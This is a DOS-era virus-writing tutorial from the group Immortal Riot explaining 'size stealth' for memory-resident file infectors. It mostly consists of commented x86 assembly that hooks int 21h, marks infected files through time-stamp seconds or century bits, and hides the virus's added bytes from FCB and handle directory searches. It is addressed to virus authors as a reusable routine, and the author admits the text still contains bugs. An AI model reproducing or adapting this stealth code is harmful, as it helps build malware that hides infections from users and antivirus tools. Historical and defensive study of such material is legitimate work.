    Size-stealth
    by
    Blonde

     Here's a *messy* tutorial written ages ago by Blonde. It contained
     a few errors, which is pretty bad for a tutorial :-), I erased one
     or two, but if you still find a few bugs, deal with it.

     A few things could be commented better, such as the determination-
     technique for fcb-types, however, I've now fixed that up, so be happy :).

     Maybe there is no reason for a semi-stealth tutorial since pretty much
     about everyone just rips another viruses stealth-routine, alters the
     infection-check and plugs it in... So it's for those people or for the
     ones who can write a memory resident infector, but have no clue of how
     to stealth the size-increase the virus causes when infecting (Except
     for the 00-fillers, of course), enjoy.

     - The Unforgiven.

- Size stealth using FCB and Handles -
Written by Blonde/Immortal Riot

     Many new resident viruses include at least some stealth features, well
     almost all if hiding from dos's mem.com is considered as stealth ;).
     But in this  article I'll go through the basic size stealth. Some of you
     (or most of you ;))  already know how to write a size-stealth routine,
     but there is always someone  who doesn't. I remember when I tried to
     write it without a clue on how to do it...

     Size-stealth:
     *************

     I guess the concept is quite clear ;). It's basically hiding the files
     increase in size when it's infected by our virus. To do that you have to
     be resident of course, but you can't do anything about that, except make
     the virus a fast replicator ;)

     Okey, well first of all you have to mark the infected file somehow. Most
     writers choose to mark the seconds in the time stamp, since they're
     seldomly used. You *can* of course open the file and check your jmp or
     id-marker, but doing it that way would slow down the filesearch in
     a large directory a lot. Thats why its easier(and better) mark the time
     stamp!

     You can mark the file as you like, but this is how I generally do. Just
     before you're about to restore the time/date stamp of the file just alter
     CX to hold it. Preferably without altering the hour/min's...

     ;CX=time stamp...

     and cl,11100000b         ;this will zero-out the seconds field since
                              ;it's the last 5 bits.
     or cl,01110b             ;this set this files seconds field to 01110b
                              ;=14 (28 seconds) = our specific stealth-marker.

     This is good because it's easy to check if the file was marked by us,
     simply get the timestamp in ax and do an AND al,00011111b followed by a
     XOR al,01110b to get al=0 IF the file was marked by us...

     We could also mark the time-stamp with the century method. The century
     method is as simple as the seconds method... just add another 100 years
     to the year field and remove them in the resident stealth routine, this
     method is good if you've got a mbr infector or something like it,
     because if the virus isn't in the memory this method will generate
     TBAV's 'T'-flag and probably trigger F-Prot too. But on the other
     hand, no program will be stealthed without being infected... adding
     another century could be done like this...

     ;DX=date stamp

     add dh,c8h              ;this add 100 years to the yearfield it's
                             ;year-1980=bit 15-9 in dx...
                             ;0c8h = 100 shl 1, since it's shifted left
                             ;once

     To detect this at stealth time simply do a cmp dh,0c8h and if it's
     below then it can't be infected by us... simple right? BUT you'll have
     to stealth the date too so just do a sub dh,0c8h when you stealth the size...
     this might have been a bit fuzzy, if so stick to
     the seconds method ;).

     Say we've marked all our infected files by setting the seconds field
     to 01110b How do we hide the size then? And from what do we hide them?

     Well we want to hide them from file searches, atleast thats what I'm
     teaching you ;). And DOS mainly provide two ways to search for files,
     via FCB or via file handles. The file handles have been recommended to
     use since DOS version 2+ or something, yet DIR still uses the FCB so
     today we'll have to hide from both of them to get enough coverage, but
     who knows we might be able too lose those FCB's in a future since DOS
     v7.0+ shall use handles ;)

     We simply add 11h/12h (FCB's) and 4e/4f (Handles) to our interrupt 21h
     handler. Yes, you'll have to hook int 21h by yourself ;)
     It can look something like this:

     new_int21h:
     .
     .
     .
     .
     cmp ah,11h
     jz  stealth_fcb
     cmp ah,12h
     jz stealth_fcb
     cmp ah,4eh
     jz stealth_handle
     cmp ah,4fh
     jz stealth_handle
     jmp dword ptr cs:[Oldint21h]

     11h and 4Eh is basicly find first and 12h/4Fh is find next, that
     should be a problem... make the 11h/12h point to one routine and
     4Eh/4Fh to another.

     We'll start with the FCB routine since it's a bit more complicated...

     Stealth_Fcb:            ;jmp here from int-hook...

     pushf
     push cs
     call org21h             ;This will fake a call to the real int 21h
                             ;because else we would not know what to steath.
                             ;on return ds:dx point to unopened FCB

     or al,al                ;since 11h/12h doesn't set carry flag on error
     jnz stealth_error       ;we'll check that the error code=0=no-error
                             ;or al,al is a smaller variant of cmp al,0 btw!

     push ax bx es           ;save them because we'll alter them

     mov ah,51h              ;get current psp, ah=62h is also ok.
     int 21h                 ;returns segment of current psp in bx

     mov es,bx               ;es=bx=current psp
     cmp bx,es:[16h]         ;this is to check if it's DOS calling,
     jne dont_stealth        ;we does this to not screw up programs like
                             ;chkdsk, this means; we stealth only on 'DIR'

     mov bx,dx               ;bx=offset to unopened FCB
     mov al,ds:[bx]          ;At the first offset of an unopened FCB the
                             ;drive is stored if it's *not* an extended fcb
                             ;if it's an extended-fcb, the value it FFh.
                             ;(Everything is extended-fcb nowadays.. )

     push ax                 ;Save AX on the stack (It's FF or 0 )
     mov ah,2Fh              ;Get current DTA
     int 21h                 ;returns dta to es:bx
     pop ax                  ;Restore AX (Is FF or 0)

     inc ax                  ;By Inc AX, we and cmp for ZERO, we can notice
                             ;if we're dealing with regular or extended FCB
                             ;types. FFh+1=0, so, if it's *not* 0 after we
                             ;increased AX (AX=AX+1), it's not zero, then its
                             ;not an extended-FCB-type either.
     jnz regular_fcb

     add bx,7h               ;If extended, add 7 to bx, this is the ONLY
                             ;difference between extended and regular FCB's, the
                             ;extended has some extra bytes which would fuck up
                             ;our offset if we didn't care...
     regular_fcb:
     mov ax,es:[bx+17h]      ;get time stamp from the DTA (es:bx pointer,
                             ;17h=adress)

     and al,00011111b        ;kill everything but seconds field
     xor al,01110b           ;xor with our timestamp
     jnz dont_stealth        ;if al isn't zero the file wasn't marked by us!
                             ;check your logic book if you don't understand XOR!

     cmp word ptr es:[bx+1Dh],vsize+mininfectsize

     ja stealth              ;this is obvious, if it is large enough to be
                             ;infect, stealth it...

     cmp word ptr es:[bx+1fh],0

     je dont_stealth         ;since COM-files cannot be over 64k, don't stealth
                             ;files which are so large.

     stealth:
     sub word ptr es:[bx+1Dh],vsize          ;stealth it!
     ;sbb word ptr es:[bx+1Fh],0         ;No need to stealth high-word for
                                         ;COM-infectors only, Blonde :-).

     dont_stealth:
     pop es bx ax            ;restore these
     stealth_error:
     iret                                    ;return to the caller with or
                             ;without stealth

     I guess this could be hard to get at the first view... but it's easy.
     First of all you fake an int call because you want something to
     stealth... then you get the current psp, no problems there... You check
     to see if it's dos calling. Then you move the byte at PSP:0 into al.
     That's because you must check if it's an extended FCB. The difference
     between  regular and extended is that an extended FCB also includes some
     DOS RESERVED areas which one must skip to get to the information you
     want... A fact is that the regular fcb is almost unused only dos versions
     prior to 4 used it. Then you get the address to the DTA, it's returned
     in es:bx, next check if it's an extended FCB and add 7 to bx if it is...
     (thats because of the reserved areas) then one stores the timestamp from
     the dta in ax.
     You then must and/xor al to see if your marker is there... if it isn't you
     bail. If it's there you check if the filesize isn't too small, note that
     you first have to check if the low word is larger than the virus if it is
     stealth it. If it's smaller then check the high word (ie. how many 64k
     block is it?), if it's zero then it's impossible to infect the file...

     If all thats a match we subtract the virus-size from the filesize at
     es:[bx+1Dh] (low word) and es:[bx+1fh] (high word)

     Finally we pop es/bx/ax and iret to the calling routine.

     And now to the handle routine, it's simpler than the FCB routine
     because all we need is the DTA... but I guess you already knew that ;)

     Stealth_Handles:

     pushf
     push cs
     call org21h                  ;still fake
     jc stealth_error             ;we can use this since 4e/4f sets the
                                  ;carry flag on error
     pushf
     push ax bx es                ;push the flags because they'll be altered by
                                  ;the int call
     mov ah,2fh
     int 21h                      ;get dta in es:bx

     mov ax,es:[bx+16h]           ;get time stamp

     and al,00011111b
     xor al,01110b
     jnz dont_stealth             ;If not zero, then file is not infected!

     cmp word ptr es:[bx+1Ah],vsize+minsize  ;check if file is too small?
     ja stealth
     cmp word ptr es:[bx+1Ch],0
     je dont_stealth              ;check if file is too large?

     stealth:
     sub word ptr es:[bx+1Ah],vsize          ;Substract code-lenght
     ;sbb word ptr es:[bx+1Ch],0         ;Still no need to sub high-word..

     dont_stealth:
     pop es bx ax
     popf
     stealth_error:
     retf 2                       ;return far, pop 2 off stack (cs:ip)
                                  ;don't pop flags since they're may be
                                  ;altered by int call

     The handle-stealth routine should look really familiar ;) It's almost
     exactly the same as the FCB routine, but you don't have to bother about
     those extended fcbs and stuff, but I'll go through it anyway... but
     just on the points that differ from the fcb routine...

     The jump if carry can be used instead of that or al,al because 4e/4f
     set the carry flag on error...you must also pop the flags just because
     of that, the call might alter them in another way...
     Also get the dta and timestamp and check if it's yours and so on,
     but that shouldn't be a problem, just observe that all offsets change!

     We use a retf 2 because we don't want to pop the flags of the stack
     since we already done so by ourselfs...

     It's possible to smash these routines into one, well nearly.
     That can save valueable bytes. I won't bother going thru that here,
     but it's basiclly adding 3 to bx to get the right offset when doing the
     last part, look at my virus Salamander Four which is included at the end
     of this file. It's a com only infector so it'll look a little different
     since you don't have to worryabout the high word of the filesize since
     comfiles only can be 64kb's long...

     I guess this isn't the best explanation you could get, but it's all
     you'll get from me ;). I'll be happy to answer any questions
     concerning this matter or any other. I'm reachable at TWL/HNS or via
     Nukenet and I'm even on IRC sometimes...